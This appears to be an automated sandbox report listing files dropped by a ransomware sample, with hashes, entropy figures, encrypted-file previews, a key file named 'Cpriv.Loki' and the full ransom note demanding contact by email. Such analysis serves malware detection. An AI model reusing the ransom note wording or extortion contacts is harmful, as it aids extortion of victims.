..N,.:O."..Y........i..t..RZq..k..._........9...Tme...?\|..%.:4...N...6.U;.U.V...d......Wl>.m...M\|.+:.\...b.W.V..G..WF.nP.'..O.....4y...6^{......].^....].B...S..r..mL.'t.Z......+..s.W)....Mf.=aj._...?.`.2.lL.OJ.......a.~.n......;:.-H#.fY.6..*..s.....I......s.O.Y[.a.)=.6...RS.c.....[b.:..8....T..^...8.)j..r......\..;2....MG...cD.I....%y...(.....F.[6

C:\Users\user\Documents\BJZFPPWAPT.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.86159487666735
Encrypted:	false
SSDEEP:	24:xKzHnXoPrOBF6YsbvUZhPPbMsi5dt3lERPTxb6VDfMTn6dzxLJnoCS:04PYAYsbMHwbyRPIVDfMTnmN3S
MD5:	B15A1B30D471AE52F25E342A1E526615
SHA1:	7D9A562E171E5362D7ABA3D6805ADDE56493CFB6
SHA-256:	168BEF8736E4D6A41D7875D53FB9ACE99CBEC0281A8C326562D063FD267DA76B
SHA-512:	8AB88AB83A14777A60A88B17FBC42DD23F92DEE149DC72AA62C2A0E4CFBB74927D94AF19E202BA52AB2E1C0799A06EFA0B5B05C6F35B2F168B17AF0D8A0A20DD
Malicious:	false
Preview:	6.ii.1.NQ#.R.._...Y..sjU.4...U.../r&?..Y^n'..."....M..29:qs_..=.t.UAA.6b.....9....Oc!Jh.y...O.5UZW.........8.-!..6..3$..W.0L....c_......P.U.^-.....#.{j....V....%...J1...MN...Ls3..6.....Fq.e.u+...uF`....=.....E.h........q.4.,y..`..4.C.&.!.,=h..F....3o..d6.TC..x.B......^..Wu.......7-1..=.A.P..Q$Q.>..3H..zp#..(..-..M..EW.7.1."..]...K<S#..Q..3./....>!M.,MI3R.U~..P.^^..eWxQ9Sb...N\.7...w&nc...j[.BG ].y.9..S..^=.C...J_55e,..`g..H.J...Yu....4.}.-e....{.Pn....@i.'O.`{<X..;..^?.:..r...S.t.....e?."..\|..D.#\~.Q..D}WICv..y...!..t....opc......#f.50.D.S.(.....UB_....45.....:.YGP.+.9..Qb..._4..vV.;V........~zNS.l....RX$4.P4..q..+...S..e.8.../.Vf%./... Y@....2...!......$....<..E.....y.yDoE'..l..c.s..S..>D+....p........>....H..X.t..F.I.9..._..Y.............6..K.....u....x....Q.?.9.6.%.7.aEM.Y..<tz..3...2.j....lw.....tZS..:g[g..Z..:./Y.xg...OD.....R...;.<.x.....yM.... ...ED..j.],.$....Dq^.(.JJ!..!1d.....!A.....%&.....J..H...p..}f...(Q<,.....Hi...dAk.bQj.;..+..

C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.867973980643885
Encrypted:	false
SSDEEP:	24:/vQWcANjDSY7wShI94PUy6qHbEC8m2gc5NwUHNXbrQevTHwfi:XZnr7HQmEZNTNwUZw0THwK
MD5:	B971D5467A31503BB5A3C1614D11F797
SHA1:	85EB632AEA43055A9526D1DDAE14CD820DD019D2
SHA-256:	B991C72BD5210927640E02B9468EE856ECF48D309813094347A4B07DCCF7CB35
SHA-512:	5EDF22CDAD4BA79A0517493D9CE8D819E74EE48311DE9D3F414149417AC23C7238183FAB02A2024CEF4D1DB054F5B79B8920CBD86AFDD593565B7515F6E7F59E
Malicious:	false
Preview:	._.4.+...Y...o.....$............I..(i.HK........D+..,Q........B.jS6.....Z<.jy......p<..teK.<(..o{...>.PA..F....7.e..=B.L7..S...^H3...~..av.$~.u0.t.}...u.p'.Q.&.[4.'.A...$T.=..!..vm.<.c..g. ....3.._B[.:...h.@.DJ.t..=...\|2.....t.+.D...m".1.qWS.d.Q..Fs..(...."....0$^.....L..T.m....e...y.3......m..90..v...x.".3....]c7....,.V.J.OHX.'..\~wm4t.......P..i;..@e.m.V.#...lTA.(.......`3.U...{'...ez.\|....!.=RP..P?..e..%.n....h..:0.....\.!..s.S.(...zz.....Qp...".('.....8.....G( O...a....R=._2.:.T.CV.W...%...8..K/._tN..L.}I.....]s.........`~Mi.....}..D._7.b...p7gY......K. .3..$.].G..Y.)...-.UkM'....E{..Sq.bDKs.o...5n..T...z..L...<..........~<..wJW;!l7..P.fJ.....W.A.T4+..{.`./.....C.g.&.......PN.B#...NpCb.:.G.7..%..6t....>...\|..i{q/...A........H..........._..........^........:....5A......m..G..j..P._l..Z..E...".H.5..%...po\.1.W...z.t./.Y...&..w~...B...t.l.{.$...t....I...&..B..8.....v.c:._.GL.A9.N&.....T.]...5.......q.%hN...eP.e=....>...

C:\Users\user\Documents\BJZFPPWAPT\CZQKSDDMWR.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.820906459044278
Encrypted:	false
SSDEEP:	24:BtzVzosxMcZYM1+zlhb4eM8syOBArtdSEJ3sFX7brJHXu5I8EGby+2gLET:B9loTcZSRhbihhBArtsay7B36gGbDBL6
MD5:	1E4EDE23B39F2E7D31878C2272C3AD4A
SHA1:	0D1C5EEDA9FF6DBDEA2469D541624BA2F42BD0B2
SHA-256:	EB05937E44A208F8CA3C443049D80805E572734352E905A3D1F8B18DB2BBE21E
SHA-512:	76C00EA488205BC3D67234696F435F4ACB925B380F6D308EFC084201E34F61BD31E917C705582F863555154BF75EF1E0D064A92D40A24177E0B89D2EB5E17E28
Malicious:	false
Preview:	.....j.X'..K..l...y..%,..%H..q..^.g..76.o...`x..7.z...!X.}..T..:...'f.....:.m....n.r.-a..DC.'.ewF.vt..j....4.7.._...,..q.0X.<.U..^C...J.8.J..DF.....g`.3.a............m....).....G....sR..f.Cy&..J3.M..2...=qu.w....%...\.x.....I..(G=..&....Ra.....^H.E..6!.Ml...!..;P......X...YC....R..9.Y.6x. [...G.;+....lO..J/Ut.Y.l.6...0gD.(..J.jy.-u..2..g........=\.-.n...F.........Q.ajT.vU..=..\|,..T%....b......w... ..&.g../....bn.84F.5..[C.7Qt.c.#C...T.w>$.JI..vw..`AeZ.sG.\I.o.W6y.,........8H8L..P.....u....D.H.P..M.a.v.5.YC...eQ.1HZ.~_.I.T.......60..lP].^....Z....e.=.R~.M..~..f.\.........A7..d.x.Q.b./.M....t......]...I...G...`.. ....<.,...4iv5.lK..-..4..?."N_.pc....48t.0.....o..%.\|..CF..yPkGE6....g.p.qY%.q.?6;...O.KXD....#.U...ws.."..K8.5.,....pgs....l......N.]e.w+.w.!C....9......}@.nd....wE.4.7.-.4.......U=.$...+..U..;.\......\|.Oz.\|.u4..AV../\.... V'.s'..p7.e.pc.. Zr...'..x.a..qeu]&.b..6e.fGnDA.SS..X...&..X....-....62..?..i..6.0.\|...G..

C:\Users\user\Documents\BJZFPPWAPT\EOWRVPQCCS.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.843980890871256
Encrypted:	false
SSDEEP:	24:yz0nkKTtTIdGHtY630j5Yr2dpje1f/Xh7bK2pkNw0tMLRZ474howCjer7n:ygkK3NYhj5YqdZehvFDpkW04Rqky0n
MD5:	6381F63CDE9832256711B3959C6962A8
SHA1:	149D0C55B72D8CFC1C4D8DC6CAC7C7B91586854F
SHA-256:	E61040883DDA3802D14C4F5939A2C34D512B45168D62B1486D74E85E9A44356D
SHA-512:	21D7AC799558D12CFE4B240A03318CF768F93ED0CCD8A9CF4801F13EB123786C020E84FAD2E49089DE66ECBC2CE005201E095FB4D18BBD64701688355F44A579
Malicious:	false
Preview:	...`.....\|.b.88..."z%s.....4i..>...c.p.5k).?}...l.r..[..V.......5.b....9....J..h..~%..8]...,...F/..]\|..`....y.-.....AM...N..>M....@Z.....B..v.2!......f..i-qS...S.E#..O.OP$.....\|%.;..e.........(..`.F......)..~.;M..By..5.]..Ew..........HU.l....B>.b.....m=7O..J.t.)..O{.N.\|.u..h.G.....O..:\..{.Vjl..3rM[X......l...e.d...\|.VUY.b..S.i.N.;.q....h...F..3....."h..)V.8....+.KR.....(._~..s.0&~..V...1`.+.T..3..9..?..TB#V.....;.\|..%!..e.YK......Yz..S..N...?i........F.q.)..LvN.V+...../.V..<#..q....4.`...~.....l...Z...+....z-....'. ..`.<.#.......9.i..6.....z...md{.>.[....@......z...T.l.T..>.g...(_.9.v.;......Q..(Z6...(T-..aHt]..d..V.....p..>v-.%..4.$8...D.$/...&j..8.W+%.....x..../.....Pi..`9D.......VI.k.P..(.X..9.xJi.......V.".+...\..B.R....T.L.e...\|.>.}../^.....k..s..jF{)TJ......W.........\|.`e........x..v....Wv..5JS...1]q....Q...;@zJ.A.gf...I..o....]k.......&D.6.J..>.2U.\...&Z.L ..yBI1.".13q....N.O..,\.2.i xb.;L.].......Vt&..'F..

C:\Users\user\Documents\BJZFPPWAPT\EWZCVGNOWT.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.863266286367612
Encrypted:	false
SSDEEP:	24:hlS2nO/5nTKPDuf8Y59fiYlUK+OjpSPXqRO7VMVlG4a943RLrUCsjSpRbhoHumg/:h0JnuP6vvilQ8/qRiAMX4BLrDsjSb3me
MD5:	0AB91E67D4A47E65B0016937E8F8EFE2
SHA1:	C6730D286B1C3AF2875037430DF4EFE1FBE4906E
SHA-256:	95BD73B75F257525BF519D74CE9995F47F42A6546A9E162F413CD6FEE7DA8291
SHA-512:	3F6E5BE4C862CADBC3560168BAC511C79CD2CBA5332E24C224D2360863E8C1BCA4748D30CFDA24C9E474238DFDCE68DD5B19502CE447A872BD83563CA2302BF6
Malicious:	false
Preview:	cu...Y..../...lf....8Z..Q...@KY...4Wt2.59..B.....?\.....B.........]}.0..b(._HL......@....64h%.k.h.lU1h...yz2..lO...w.%..'..VW^Q{>I!qOI..s/."HZB.?..h.kg.`.2R.K...>.<.......s.S.)."...4!.S..R.A..1.:G.:..M.7{o.x.Ij:..\|~c..k...(..)../.Q.ua.v.l4...E..\.8....i./..#..3...6.D.<F.:..l@^.z...dzI...K>...x.q.`...........vf.....}.....).MP.+.;hh-.$O.Z_.....U.J.n.l.E..p..._97P..N..m.....H.Wq...9..[-O.....\,.a%.-....`...N:.M`'......t .7..1..>.4.c.0r..rf.k"w.......r.P...T.P..O.Th,..;......5Pl.W=.\[......v.....86.2....D.U...o.H.d....z...s.K........=..._\....6W.#..@{.K.].`Y2..-Ml...U#.i......P ..yY.n5.].OY...5<.}Y~.^..D...a..3......A#'..:.?dCXH...f..V...<h.g<L..n.b}........t<.z.C...t....G.y....O-...2....C.+...%..3...)....S.0.U.F...`).G/.m.e&..p<$.E..B.\|TVs.J.k...?......\|..\|....S..5d._.....D......*"\|.c5n$.Ns}>&..:.I.._.E..^.$S..3(..).....b..dN..ew.&b...Mm...}A\|..".k....\|....$../#QFc.C.V......cF..G....%G....2+L..oP.O.^...A$.a,k..Z....:M...@r.....{..=

C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.829070166614506
Encrypted:	false
SSDEEP:	24:NmqdHFX/54uaV6g4okDfGGWlJrVTKxPf7hgkFClVgzb5:NmqdHFx4BB4oGfGVJRaKkElVSb5
MD5:	D210B70872A239E9084420CCE1D1D636
SHA1:	EF0FC09C2BF3552B8DA8CEC52385D1EB4825E7EF
SHA-256:	3F6A266B1B4CD2EF24C1E230A6442A36936E183C2828DE9C7AB08331E52F8024
SHA-512:	D34E5A38F16E12CC0E8247D37B9E262C29632065DD579CFB6E36C8420EFBA43E663A973D969818F9F205AFECD19551B2325F4E18FCEBD768C7D00DAEBAD820F2
Malicious:	false
Preview:	..~....L.}D..Z#..;..D.v...$\|}Q.X ..r...K.3...3..w.i.&v..O.....T..=cj=.s...5..e\|.MA..9u."....q.....[.l3j.....B............e.G...%#%..?/.W..<>kF.\|"...P#.:..../UW..........b.:.ZX.jm..m.;6L?j.F.x........V.<......^p..Ju5...S..v.......a...s^.jG.TS./.F...#.t.A^.........&3(...V...... ct......w.m....G..:r.{:iM:".S#..D..A(P..@......N...):V....m....wE..m..V.p...p...~/...7...D......T...<.32.l..k..+..\.....{.y.T...%....H..+..$.q}..(.C9.cM..fHTM?2....+H ..X.....ktD...^w.,X.?N...r.s.w`..T"....Uw.......u.;NPf...>..1-..R.w,.3D.J.r..V....B..q..?..26I..cu..gX.>@....].1T.;M.a....`...C..5.v_~@..l ..^..#;..La.k.e`...6...b.r.=SYe....H.-+1........c.j...>..{.w\.+A..@.K.k.Y...T./......!..."..MY..t.~...j^.,..N..v+e..d.....wT....w..C...W.L..R...8...K.........6...-hf..r...{}..w..v..O...)\|N..S....4...b{:'...4..^.K.Kj...k...TQ.Nj..1.4.....{8x.@!.,`..:(L.5.r.X.e..8l.Z.l ...!:.X.A/.../....b...j.wo....l..o......).............t..0.=..w.u..5a.(.."..w.C.__:l.0(`...q.l

C:\Users\user\Documents\BJZFPPWAPT\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Documents\BJZFPPWAPT\TQDFJHPUIU.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8286850435950734
Encrypted:	false
SSDEEP:	24:FpKof8PC8RQybT75iMlYwudE6QIqLPf0+UU6g4xfDk4xW+pMFWd3A356l7I6o6RU:FMPZmAT75iNdE6Sz0Jjg4ZFW+pMFW1A7
MD5:	4C76761B97BDEDA0D1BC5407F10FF2A4
SHA1:	14A9FFE7D2BF1DE327C157F8C3BC64790FFC16CB
SHA-256:	6B281FAD2615BB766CA64FE87632DBC8383E859C8220852B624FC833B7678649
SHA-512:	D3DF81B10A006B16D1513F272BDECAB31CE3D108EEE9B9B9A130DB332E548F920192106DDB2465A8814AD469C151F4B01F6AC9961307600FEBE8DEC31D14403E
Malicious:	false
Preview:	D.v...Rn.. nL(b}..P?.WZp.(.d-....+.@.,Z..!\|..\@..,....LK..A..`Q.....$..k%.%E..7d..\+.. C7......D..t......6m.<@].....(...:.r...'8..G.7...Y....c_X3.....x...g...#./.k..$.P..@..FYx.\|.../.....e..PCB...Q....[G$.....~!...E..l=.&....Wh..Z.1..."...S\|.'.o.+Ic.o.....).\.q..vwYq../k.DR5.Mno./...%..&l.&.Lh.!..Aa..t..E2O...=..RaF.."7.Y\|...$....2]Y..%. .Q3 ...._..>X.....k6.C.m..u....b...p..kYQ.....+...Z..a....:.D..Rh.:.`SX.Q.....\|...p..@J..1A.bf.+.s.R...@.l8.1O..:gR...q.7....}.L..{^x....U...=e...P..j...].$....!.6.bn\|...T.T.G...-b..w@DM.....@....)(+-GdL..l...S.........z.p>3_..@0GRp\|......%vO.@+..mUYa..?:Tv.u.?.........u......N.$......&...Q...)....8.q....o..X....N...k..."Q....R.3R..t....,e.}..OJ..G..].A.Z.JJ?...~.2c.W.D.Y.'m.V...{..c...[..3gx..{.....^[.vXY....{.21v..+Z.....P.8S..-T....m.._.@.g.1......j1.x..T.7.P_.a...C.{G\b.F{...W..Z...B...K1...e.....i.Q.j...Q...0.Z.RT.)n...z.....)....N......7j..N.d!j..{......=..z0a...-.(.r....u..i............cW.l.e

C:\Users\user\Documents\CZQKSDDMWR.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.813548633175711
Encrypted:	false
SSDEEP:	24:Uv9JZ52ninh/UCxlGO8YrdL9Oa1DPJ1//qnTivuXn2JFBN:m9JUUh/TFt9OAJ1HqnTivuX2JV
MD5:	15A21623F30DA3936307AACEAFC9E1D2
SHA1:	2A8E11C229C128DECAEE65CFCF2F2105508A4C84
SHA-256:	721A46AC4EAEC6EF57C0C57DEB903AC3398DCDDF4DBDAE13EDC381FE1F55C128
SHA-512:	B6DE54B7B2EE5C78DA1725723F7FBCE408459C1B1824367CBCA81F8825F6B720709BC5ED74536CF3890F8D459DDE45B5D1A06BF812F416D350FB7E9B67AD5A96
Malicious:	false
Preview:	T&.<..F9..L..j.b..h...V,..!..;..!.....p.....U.....!.t.....Z.1.....xD.=Vx..}....+<....F...s..]S.t.}C...6DO.c..9..u.....^....z..w...t..f.m...r....q$\|2...d#...rM....Si.6#=....!?......jdgH.WOI....pY..)...Y.?.B...+.es..Iu.}.O.g.\|%.y...(.L.S.".C..%...../.o..v.\JC.O.....OW....ZL...x..S.......h.s.../.z.?...H..$...U..!D.w-..#.~..u..i.s'..RSS.....1I..ev....3.@m.^......=..:.i.6...eyQ#.U...V..YCwBMO..X^Hw..?Oz.e....H.G..?..Ieh.....`..5..n.9\|V....e~.%..5 1..4E.....t.R....5...~.......Vh..Y...e..Ji.......PF...I`.quW.F2.b..I......\.z/c.t...O...5;.\...\|3...c....y.@.X.v.#..E.^.CMR..:=....R...m..<.,.;.. .....pOE3....^/[>.).7..EW"....stU....M_.....9...."...R...1...M...q..mQ..H8.6V.8u...z...u\Jy..8...\|.T@tH..}q6^k...<-.<..=..H"..w.v0..=H...,y'.O.R..@.2.i.X.D........x.Y..n.....}...$x..t....u.s.W.x.................^...\|.+W.(...).e..R..W....8.r...g.A...L.5.}.(pds6.T...........ao....../.7J.5 m...WYg..... +[.yr.....0^.@~..>...2......../....']*'...I.

C:\Users\user\Documents\Cpriv.Loki Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033602153554147
Encrypted:	false
SSDEEP:	48:bMH08OoaHuJrSuwJAVePwy0tU80FUYlUyhL96eMuKZPT5bKc3NYCCjaonThOXWlA:bMU85EuJBeAVt9qhL9ybAaiFOK2
MD5:	99E4422574E75F2D291B0729FEFB379E
SHA1:	B8F585556F0C659308673D0181C752ED7F5ED23C
SHA-256:	EB42AEDAC405CD5269CA03AB076D636D9FA8BA1C687698F6BB93022D2C9ECD2E
SHA-512:	C0A46F19B10FEEC314F8F9A8C8136B7EB2575DD901726B5D9DF2F9BFCE9E03448981D7685A3C7EF4FF5FBFD8BC76A12E641096107A76F862CF53214CD0701669
Malicious:	false
Preview:	aFpTPMeOLzkZf/U7S+5LE7wQpPhuYYt2h71l0sOjH3N5jL+BQpjEIrl3rBln08PonAFOej32zEkz..5JmAdGdd4mM26NMOhjFDYmEbNxv8wo9TP0JwGoerBEImK3MaQ4biWLJ8eig6BygkQsgWhW3g+W/s..y1UmNLMZXkd7tT5d6U8QQqBA+l0zuM3YXIMt6s0lssezZTuuJR3vHupE6lOlAwKLRIvOvcOUrYli..M1S37e3d7KtFTfhqUis69dAXQubK3jqwjIWAY4bvOiXDfX5tVbI1k/HbY70drfwTBL7dZZcbd2Zg..Qu2IBorgXPWBUmx94U+jszt46QtZMX8OEFQzWByn+JMG2WFRE8B9HXikVEHyZwyzXmrl/V4F3F02..djfyX1/wm/yCYVRacOCSLin43U2OlFgsdSwqIyYHLPAlIPTe9UKENsfYRwadlW18V8OvZqvY414R..9r02ylF538N32UrRSl3l33nWkj8j3njTVW5wP3B2e6Qwif/pgrVWzEsC+opmYs7HQnkb6nUPP+Xc..mBZQm47Wldh7IC3nVIIO3sEKdFQDLfpTmmEkK7tibDk1moeE6OJ1zQsO7mJF95a0wh8D9BeOpPAo..uhcw10a7hIFGIttp/0Ce7gmDZAywQJqzoPOhUpJgjiGREZ8tnv4qLihvZzH9ThgJvpVlEhLwrlOI..uvnsIbH1o3s0tQZFsE08ZE5hWXnys5fB+nWT+03gRZr93xNezMEu5khpSLY19TWJWVM7S9dwzaiY..Lr7PB3zAKGfZs6J6pEAHIzG9/CJo2CYyNIcDiH4bWFv3xJfRTtgN++jiqcu5fX9Oi+b2DEW90PPv..ZN9wNelChzupY+ULTSnpok62aoNXlkSC57Bm/jwTab57In7FPwyn61fw6+055MBcp8GGMKw8eiAZ..IOrYOhedeFH7drkD4g/qHSPY1j47/CLid9/RFkC++csa5rNOxqHmeEvpNwtVbFGH

C:\Users\user\Documents\DUUDTUBZFW.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.855182919747946
Encrypted:	false
SSDEEP:	24:ktxbY3t69tkXtH7jk56rgtHgEXECihCYmP8c04cTLXC6cNa2R4Z8dUc:Xk9tk9H7s4g930ThCYmEciO6ioGF
MD5:	B4D4CA8660F66D55A3E57E311DD95F9C
SHA1:	0F4A10FA19F5D2D3FBFEAA79946F889FA23F1BA3
SHA-256:	CBFFBE160972B5EFEACFB7F314D39EB7BAFF351DD65F7DC05BF2405F059F0F98
SHA-512:	FB94ACA33285A5CF76DF96474E33B117BAA56A96CDFC735EC6DB7B2F3CEC257404705AF2EDEFCF7CAD6A7EB728C7813B1AA1043926F886AC72AD52F3AEAF19C6
Malicious:	false
Preview:	i$..f.z..`.C..8.........z..wv.\,]T.Z<yC`}...R&..%u.,}a \B.p.dr.i."M@....W%{.).zS.N.0....4.R..1......_j[T.......da.0.h.%F...'B3.<..1...Y}e;.N...r....Ob.....<%.$'.;(.....kuU_....m...9.d6..(..8^.!.w.^.l,{X.i.Xa/.vz^.x.....$....pS.dk.J.{..H%i.s'Ry...ryE.gc../...S.K..+....c........L.?.....\i.!...p..A7...\./4...^....^:~;.jF.6.o.GB.a.co...4M..p.>N...v...... ..M.........e..,...D..{.<......`%..P.L4..@N.W..."V.34.i..`oDG.f..9yej).9.....1..q....t....\|>!...:..C- ..5.I.x.7e...v.......ix..p...X;'.HU..jg0....6Tj1.....<....;..3.H/].5.).L.o..:...m.a.............wC#...Ip....`..\|...b..}.!.h..}.....A.h....{..........Q.(ohWv.~..:..BpN3n,...aJ.;.....J....[..../__.$.1.."a.7.h.429.?.uV...&a...n.-K..>.9..bj#.~...^I;.\\|U"....w1.A..%K..:.b....eA.n?v...f.I...a......#...w..w.6......5..z..G..>..V.vn..o...C=@#.j.8....B.I.....~..#s<.^..p..d.(.m/....ET.!K.j...T.....2.n~...LW...*c.2...Y...>'.f.u..\...$.~.-c..7.{@....w3i(.}.N..$..\|..[.G.E..%...?h.c.A~.F..6.z".

C:\Users\user\Documents\EFOYFBOLXA.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.886959135103604
Encrypted:	false
SSDEEP:	24:0HiyGeiAirvUtkxK439vWGu7iN/bxgOpRb1+vAsxMZw8QBFiwYFckU/TC:/yQAirvUt8Ki9+fU/NgGZgYQ2oTiwbkR
MD5:	1963166A23BDC082475D9BDCCB942A0C
SHA1:	88E0F759FEDC9AC26D05ADD2C9414FA4D22F458A
SHA-256:	3E7FC5825770C2C6C01BE604E4E9B05883A1E413648A675394F7C76A445CB27B
SHA-512:	3F0E3DEE1C7A9A799C2547E2D7C149BC33B35DB1B464FA697CDE7D4688D4975F63CC3B44E978AAAB1CF6D8B35D258138FD828801E0EC3F9C6A4F069A4D6E26C9
Malicious:	false
Preview:	.P.e....B.~h.4....Y#......a.L....h..e..d.j..A....l..G.lV+k.ab...V ..v..l.f^......S...=....t.Cg...=x.$....n.>S.w..EK_..EAT.~-n...0..W...}.u1q.\|.}....g.........S...e..).....#...;h.A?.[.9.::..z...e5..@..../...`..7..........z{......-.7.T..a.......a7...t.i0.<.v..E...;.={Xl.....r..R.I.R.._.qA...JG[..gF...UJ......g.,.. ..I...Q.23{b...%..t.]...Sr(.Y.E.."b.......[.L.v..d@)...a9..]..x3..-......[..r.].....w...F...'s.`.p.....-4{1..R.?o...y..].Y..yY...n..5.e....)M.)..Dg......Sdr.oN..]X6.&.X..x...n,..'.\|..<1....zM.6:o.b.39H.....l.QW.19D.Gc..."Fl....;....tF.@g_.p.>J..V.8b..8.5....:H..r.4.2..8C\.U...~..v...b....;.^6.;.0.Y..S4....r.".....g...B]G\|..u..tJ..8g.!DR...h.c.1.}.\|/.%....j.U....\|[.B.....,...<Ct..u<.w..%..Y?}.....K...9yk....~2.....e.z-...V.H.q?.}.<..kR.D..B.].].6ec....=z..hO.........I...[...M...p...!Z.O.b..]..)..+.LM0..[..%N.p.gz..\...+...}&e.X...@.CSA.Sc.K...OiK.....!.F>\.\.F..l.=4c...6H2.4..W.[b..`.j.}...{.Ku....S2K...k..R..'}5-.b8B.\|....../3.=`.AI.$.$..

C:\Users\user\Documents\EFOYFBOLXA\BJZFPPWAPT.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.83025350429246
Encrypted:	false
SSDEEP:	24:j00iX/YzbF59yHgV4V3vPgjZJPN9OQTlKou2DM+GeEqcF7AbBb0DVZr7:j0hgdm66wjOosAM+xEKbBgDVh7
MD5:	E2F849BDC6BACF3F8DC335528F3A1DAB
SHA1:	E55DA694B79CFF447074A032E0BCF818FE91E9C4
SHA-256:	EAC34DD0F172A09DBA2ED6FDC27CAD19264D4C119EA24710E95818E187F985F8
SHA-512:	969ADB490D8C93D4A2214DEA6F336BA9FBDC46CDC3CEB8C4BF9823868AD9C32B4AF9119F679AB41AE37FD4D2CFDB0BF2467E344EDE447DA061A8BA4837F28AF1
Malicious:	false
Preview:	..%=.8....k....^F..>....O}p.iT.:m..j>....1&VO.La.6....f.?...S..[......ud#.y.*.....^a...D.{.n.'0..._.1{.?.x.#.._...f...I.Z....Kl.............RsM5/....Z..f...n..Pi$6...s....km#it\|....V..e..76.%ZJ_.v...:Ew.;[R..h$HH..9..)...{`....+.P.2....#.M..S..D..37e...%..b.#j.,"A......y..=y....0.`...(.K0N.;.h._.R.6a.UA..;J...E5.th....K..:H.E.9.......6f.c.h...`C.'...6w.>.O....g..'a.sn8..&..q .....`R....lI-.!.s........[.h.l....&.d:.{.....I.u..k.....e.^os.].a@Rh..O...a.%.cU......}.0......3...)...._.\..L...r..a.v~.:......C.....n....#,b6Ed.&...\p^x......P/...\.k2.@e.Y.4.U......I..K....A.p...!...y7..\|....QAq.3.q.:u]...r.U.F.......,.c.s}.;..oM.'..<O..._N.0.t.=.0....w.:a...sP.R6.......M.Ml......d...=.'...1Tz.0.l._..&?YP8..B......$..1..N...."w.y\...l...fsr.A....Fe.)^S.0Q.....h(l`&.LF.5.S1...6fl.w.e1yc.6......dp....f..t.d..C`...e.r...2.......Mf...~8.....3......Q.3.....E.y.hAq8T.8..qk......R.h0..?5E.CR8d...S...s3NRUW.}...5.......TW.m.H~...6,....M,.+.=.I...@x/N:p@..d....

C:\Users\user\Documents\EFOYFBOLXA\DUUDTUBZFW.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.850021226078128
Encrypted:	false
SSDEEP:	24:aGHPyKWVQUTgyTwgC2sn8KE1zZedzh0TeX3N6MrC3J4AKj3b7Xlg3lyBzu:ZPDPWnVs8KEeDaeHN6MWSAS33lWozu
MD5:	A66670FB849446F1446D4E99A3ADFD26
SHA1:	8781E74A4A69336BAEEC6F73D066A9F7A1EAFDF4
SHA-256:	69B86034AC0EC28F9C334E89CBF3C69488DDE0881796D0EDD6F9A3008C05F485
SHA-512:	AEBE0CEAFD12A8991318682CA55BD713CEB7D5C69645D1D63D7D83267ADC102062514DD162CD37F07E5895C70E3242DFE27153B7261F2C4687B33998D1E9B750
Malicious:	false
